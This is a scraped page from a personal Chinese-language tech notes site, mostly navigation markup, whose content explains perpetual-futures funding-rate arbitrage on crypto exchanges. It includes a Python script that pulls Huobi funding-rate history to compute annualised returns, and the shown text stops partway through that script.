<label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          Bitcoin\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        Bitcoin\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    套利实时收益率\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    期货永续合约介绍\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    永续合约资金费率套利\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    套利+网格交易\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"套利+网格交易\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    如何获取最新的成交订单？\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#python-sdk\" class=\"md-nav__link\">\n    币安Python SDK没有币本位合约接口\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    各种异常处理\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    获取交易所价格信息\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#terra\" class=\"md-nav__link\">\n    terra地址转为以太坊地址\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    套利实时收益率\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    期货永续合约介绍\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    永续合约资金费率套利\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    套利+网格交易\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"套利+网格交易\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    如何获取最新的成交订单？\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#python-sdk\" class=\"md-nav__link\">\n    币安Python SDK没有币本位合约接口\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    各种异常处理\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    获取交易所价格信息\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#terra\" class=\"md-nav__link\">\n    terra地址转为以太坊地址\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"bitcoin\">Bitcoin<a class=\"headerlink\" href=\"#bitcoin\" title=\"Permanent link\">&para;</a></h1>\n<script>\nfunction showwatch1(){\n    localStorage.setItem(\"watchtab\",\"showwatch1\");\n    tablebodysort(document.querySelector(\"#realtimeprofittbody\"), 6, 1);\n    var idx=1;\n    document.querySelector(\"#realtimeprofittbody\").querySelectorAll(\"tr\").forEach(function (i){\n        var text = i.querySelector(\".headcol\").innerText.trim();\n        if(text.startsWith(\"u\")||text.startsWith(\"h\")||idx>10||i.querySelector(\"td:nth-child(2)\").textContent.indexOf(\"-\")==0||i.querySelector(\"td:nth-child(3)\").textContent.indexOf(\"-\")==0||i.querySelector(\"td:nth-child(4)\").textContent.indexOf(\"-\")==0||i.querySelector(\"td:nth-child(5)\").textContent.indexOf(\"-\")==0){\n            i.style.display=\"none\";\n            return\n        }\n        i.style.display=\"\";\n        idx+=1;\n    })\n}\nfunction showwatch2(){localStorage.setItem(\"watchtab\",\"showwatch2\");return showtrs(['SHIB','XCH','ICP','FIL','KSM','hBNB','hLTC','hBTCDOM'])}\nfunction showwatch3(){localStorage.setItem(\"watchtab\",\"showwatch3\");return showtrs(['KSM','ANT','SHIB','XCH','BSV','DOGE'])}\nfunction showwatch4(){localStorage.setItem(\"watchtab\",\"showwatch4\");return showtrs(['KSM','FIL','XCH'])}\nfunction showwatch_huobi(){localStorage.setItem(\"watchtab\",\"showwatch_huobi\");document.querySelector(\"#realtimeprofittbody\").querySelectorAll(\"tr\").forEach(function(i){\n    var c = i.querySelector(\".headcol\").innerText.trim()[0]\n    i.style.display=(c==c.toLowerCase()?\"none\":\"\")\n})}\nfunction showwatch_huobiu(){localStorage.setItem(\"watchtab\",\"showwatch_huobiu\");return show_prefix(\"u\")}\nfunction showwatch_binance(){localStorage.setItem(\"watchtab\",\"showwatch_binance\");return show_prefix(\"b\")}\nfunction showwatch_binanceu(){localStorage.setItem(\"watchtab\",\"showwatch_binanceu\");return show_prefix(\"h\")}\nfunction showwatch_okex(){localStorage.setItem(\"watchtab\",\"showwatch_okexu\");return show_prefix(\"o\")}\n</script>\n\n<p>我也来试水当个被割的韭菜了</p>\n<h3 id=\"_1\">套利实时收益率<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h3>\n<p>以下为实时收益率数据（每天更新一次）：<a href=\"https://github.com/zjuchenyuan/arbitrage_notification\">Code</a></p>\n<p>预测收益：下一次结算收益（确定值）+下下次结算收益（预估值，随价差波动），单位为千分之</p>\n<p>昨日收益：最近三次结算的累计收益</p>\n<p>7日年化：最近21次结算平均收益 具体计算见上文<strong>计算收益率</strong></p>\n<p><a onclick=\"showfull()\">显示全部</a> <a onclick=\"showwatch1()\">关注1</a> <a onclick=\"showwatch2()\">关注2</a> <a onclick=\"showwatch3()\">关注3</a> <a onclick=\"showwatch4()\">关注4</a> <br>\n<a onclick=\"showwatch_huobi()\">火币</a> <a onclick=\"showwatch_huobiu()\">火币u</a> <a onclick=\"showwatch_binance()\">币安</a> <a onclick=\"showwatch_binanceu()\">币安u</a> <a onclick=\"showwatch_okex()\">OKex</a> </p>\n<p><div id=\"realtimeprofit\"></div><script>function loadbtctable(){fetch(\"https://d.py3.io/btc.html?_t=\"+new Date().getTime()).then(r=>r.text()).then(function(html){document.getElementById(\"realtimeprofit\").innerHTML=html; registeronclick();})}loadbtctable();</script></p>\n<h2 id=\"_2\">期货永续合约介绍<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h2>\n<p>以火币的btc合约为例，交易单位最小是一张100 USD美元（其他币种都是10美元）</p>\n<p>交易都是基于btc担保，挣到的也是btc</p>\n<p><strong>买入1张看涨 做多</strong>：相当于按照现在的合约价格用100USD买入btc，也就是借到了币，期待比特币价格上涨；承诺未来会卖出btc平仓得到100USD返还，在平仓时如果真的涨了，那时需要卖出的btc就比当时开仓时的数量少，这个差异的部分就是挣到的btc；如果btc价格一直下跌，账户里所有的btc卖出都不够100USD就爆仓了（实际爆仓规则更复杂）</p>\n<p><strong>卖出1张看跌 做空</strong>：相当于按照现在的合约价格卖出btc手上拿着100USD，也就是借到了美元（然而并不能拿到美元），承诺未来会把这100美元买回btc，如果按预期真的跌了平仓时就能买到更多的btc。注意到买卖这个期货都是基于btc担保的，所以如果不加杠杆做空，就完全等价于卖出持有的btc，不存在爆仓风险，也就是说想真正做空（花人民币赌btc跌）必须上杠杆</p>\n<h2 id=\"_3\">永续合约资金费率套利<a class=\"headerlink\" href=\"#_3\" title=\"Permanent link\">&para;</a></h2>\n<p>这本质上是一个套期保值的操作，是套利，不是高频交易策略，建仓后无需操作，只需要观察是否趋势反转决定平仓时机，例如当七日年化收益为负时平仓卖出</p>\n<p>期货合约的交易价格为啥会与现货(BTC/USDT)相差不大呢？因为存在每8个小时的结算机制，如果合约价格&gt;现货价格，说明多方占优，则多方向空方支付资金费，如0.01%（具体数值与价差相关）。<a href=\"https://huobiglobal.zendesk.com/hc/zh-cn/articles/900000106903\">官方说明</a></p>\n<p>套利操作：用usdt买入币种，立刻下空单无杠杆做空相同数量——这样我们一买一卖相当于没有买入，资产净值不受币价波动影响，只是做空收取资金费</p>\n<p>具体操作：先在法币交易用人民币买usdt，然后在币币交易买入10.1usdt的币（多买一点给扣手续费），立刻转入永续合约账户开始1倍做空一张，然后长期持有直到趋势反转（持续支付资金费）。</p>\n<p>不要看账户的收益率，这个单单是做空本身相当于持币的收益率，我们并没有持币，正确的收益计算应该是账户权益（币的数量）*当前币币交易价格，收益的基准比较应该是低风险债券而不是高风险持币</p>\n<p>历史数据查询： <a href=\"https://futures.huobi.com/zh-cn/swap/info/swap_fee/\">资金费率</a> <a href=\"https://futures.huobi.com/zh-cn/swap/info/settlement/\">结算价格</a></p>\n<p>爬取一下历史数据：（看起来ONT套利收益最高，不过上线时间不够长不具有代表性）</p>\n<p><strong>计算收益率</strong>时不能简单对单次收益率求和，应该考虑币价波动对最后实际收益的影响：假设投入1USD，计算每次结算能收到多少币，累加后按最近一次结算价计算这些币值多少USD，除以结算次数乘以一年的结算次数即为年化收益</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">requests</span><span class=\"o\">,</span> <span class=\"nn\">os</span><span class=\"o\">,</span> <span class=\"nn\">sys</span><span class=\"o\">,</span> <span class=\"nn\">time</span>\n<span class=\"kn\">from</span> <span class=\"nn\">decimal</span> <span class=\"kn\">import</span> <span class=\"n\">Decimal</span>\n<span class=\"kn\">from</span> <span class=\"nn\">functools</span> <span class=\"kn\">import</span> <span class=\"n\">lru_cache</span>\n\n<span class=\"n\">sess</span> <span class=\"o\">=</span> <span class=\"n\">requests</span><span class=\"o\">.</span><span class=\"n\">session</span><span class=\"p\">()</span>\n\n<span class=\"nd\">@lru_cache</span><span class=\"p\">()</span>\n<span class=\"k\">def</span> <span class=\"nf\">getdata</span><span class=\"p\">(</span><span class=\"n\">coin</span><span class=\"p\">,</span> <span class=\"n\">page</span><span class=\"o\">=</span><span class=\"mi\">1</span><span class=\"p\">):</span>\n    <span class=\"n\">page</span> <span class=\"o\">=</span> <span class=\"nb\">str</span><span class=\"p\">(</span><span class=\"n\">page</span><span class=\"p\">)</span>\n    <span class=\"n\">data</span> <span class=\"o\">=</span> <span class=\"p\">[</span><span class=\"n\">Decimal</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"p\">[</span><span class=\"s1\">&#39;final_funding_rate&#39;</span><span class=\"p\">])</span> <span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"n\">sess</span><span class=\"o\">.</span><span class=\"n\">get</span><span class=\"p\">(</span><span class=\"s2\">&quot;https://futures.huobi.com/swap-order/x/v1/swap_funding_rate_page?contract_code=&quot;</span><span class=\"o\">+</span><span class=\"n\">coin</span><span class=\"o\">+</span><span class=\"s2\">&quot;-USD&amp;page_index=&quot;</span><span class=\"o\">+</span><span class=\"n\">page</span><span class=\"o\">+</span><span class=\"s2\">&quot;&amp;page_size=100&quot;</span><span class=\"p\">,</span> <span class=\"n\">headers</span><span class=\"o\">=</span><span class=\"p\">{</span><span class=\"s2\">&quot;source&quot;</span><span class=\"p\">:</span><span class=\"s2\">&quot;web&quot;</span><span class=\"p\">})</span><span class=\"o\">.</span><span class=\"n\">json</span><span class=\"p\">()[</span><span class=\"s2\">&quot;data&quot;</span><span class=\"p\">][</span><span class=\"s2\">&quot;settle_logs&quot;</span><span class=\"p\">]]</span>\n    <span class=\"n\">settle</span> <span class=\"o\">=</span> <span class=\"p\">[</span><span class=\"n\">Decimal</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"p\">[</span><span class=\"s2\">&quot;instrument_info&quot;</span><span class=\"p\">][</span><span class=\"mi\">0</span><span class=\"p\">][</span><span class=\"s2\">&quot;settle_price&quot;</span><span class=\"p\">])</span> <span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"n\">sess</span><span class=\"o\">.</span><span class=\"n\">get</span><span class=\"p\">(</span><span class=\"s2\">&quot;https://futures.huobi.com/swap-order/x/v1/swap_delivery_detail?symbol=&quot;</span><span class=\"o\">+</span><span class=\"n\">coin</span><span class=\"o\">+</span><span class=\"s2\">&quot;&amp;page_index=&quot;</span><span class=\"o\">+</span><span class=\"n\">page</span><span class=\"o\">+</span><span class=\"s2\">&quot;&amp;page_size=100&quot;</span><span class=\"p\">,</span> <span class=\"n\">headers</span><span class=\"o\">=</span><span class=\"p\">{</span><span class=\"s2\">&quot;source&quot;</span><span class=\"p\">:</span><span class=\"s2\">&quot;web&quot;</span><span class=\"p\">})</span><span class=\"o\">.</span><span class=\"n\">json</span><span class=\"p\">()[</span><span class=\"s2\">&quot;data&quot;</span><span class=\"p\">][</span><span class=\"s2\">&quot;delivery&quot;</span><span class=\"p\">]]</span>\n    <span class=\"k\">return</span> <span class=\"n\">data</span><span class=\"p\">,</span> <span class=\"n\">settle</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">calc_fullprofit</span><span class=\"p\">(</span><span class=\"n\">coin</span><span class=\"p\">):</span>\n    <span class=\"n\">data</span><span class=\"p\">,</span> <span class=\"n\">settle</span> <span class=\"o\">=</span> <span class=\"p\">[],</span> <span class=\"p\">[]</span>\n    <span class=\"n\">page</span> <span class=\"o\">=</span> <span class=\"mi\">1</span>\n    <span class=\"n\">x</span> <span class=\"o\">=</span> <span class=\"n\">getdata</span><span class=\"p\">(</span><span class=\"n\">coin</span><span class=\"p\">)</span>\n    <span class=\"k\">while</span> <span class=\"nb\">len</span><span class=\"p\">(</span><span class=\"n\">x</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">]):</span>\n        <span class=\"n\">data</span><span class=\"o\">.</span><span class=\"n\">extend</span><span class=\"p\">(</span><span class=\"n\">x</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">])</span>\n        <span class=\"n\">settle</span><span class=\"o\">.</span><span class=\"n\">extend</span><span class=\"p\">(</span><span class=\"n\">x</span><span class=\"p\">[</span><span class=\"mi\">1</span><span class=\"p\">])</span>\n        <span class=\"n\">page</span><span class=\"o\">+=</span><span class=\"mi\">1</span>\n        <span class=\"n\">x</span> <span class=\"o\">=</span> <span class=\"n\">getdata</span><span class=\"p\">(</span><span class=\"n\">coin</span><span class=\"p\">,</span> <span class=\"n\">page</span><span class=\"p\">)</span>\n    <span class=\"n\">profit_coin</span> <span class=\"o\">=</span> <span class=\"nb\">sum</span><span class=\"p\">([</span><span class=\"n\">k</span><span class=\"o\">/</span><span class=\"n\">settle</span><span class=\"p\">[</span><span class=\"n\">i</span><span class=\"p\">]</span> <span class=\"k\">for</span> <span class=\"n\">i</span><span class=\"p\">,</span><span class=\"n\">k</span> <span class=\"ow\">in</span> <span class=\"nb\">enumerate</span><span class=\"p\">(</span><span class=\"n\">data</span><span class=\"p\">)])</span>\n    <span class=\"n\">profit_usd</span> <span class=\"o\">=</span> <span class=\"n\">profit_coin</span><span class=\"o\">*</span><span class=\"n\">settle</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">]</span>\n    <span class=\"k\">return</span> <span class=\"s2\">&quot;</span><span class=\"si\">%.2f</span><span class=\"s2\">&quot;</span><span class=\"o\">%</span><span class=\"p\">(</span><span class=\"n\">profit_usd</span><span class=\"o\">/</span><span class=\"nb\">len</span><span class=\"p\">(</span><span class=\"n\">data</span><span class=\"p\">)</span><span class=\"o\">*</span><span class=\"mi\">3</span><span class=\"o\">*</span><span class=\"mi\">365</span><span class=\"o\">*</span><span class=\"mi\">100</span><span class=\"p\">)</span> <span class=\"o\">+</span> <span class=\"s2\">&quot;%&quot;</span><span class=\"p\">,</span> <span class=\"nb\">len</span><span class=\"p\">(</span><span class=\"n\">data</span><span class=\"p\">)</span>\n\n<span class=\"n\">data</span><span class=\"o\">=</span><span class=\"p\">[]</span>\n<span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"s2\">&quot;BTC ETH EOS LINK BCH BSV LTC XRP ETC TRX ADA ATOM IOTA NEO ONT XLM XMR DASH ZEC&quot;</span><span class=\"o\">.</span><span class=\"n\">split</span><span class=\"p\">(</span><span class=\"s2\">&quot; &quot;</span><span class=\"p\">):</span>\n    <span class=\"n\">profit</span><span class=\"p\">,</span> <span class=\"n\">length</span> <span class=\"o\">=</span> <span class=\"n\">calc_fullprofit</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"p\">)</span>\n    <span class=\"n\">data</span><span class=\"o\">.</span><span class=\"n\">append</span><span class=\"p\">([</span><span class=\"n\">i</span><span class=\"p\">,</span> <span class=\"n\">profit</span><span class=\"p\">,</span> <span class=\"n\">length</span><span 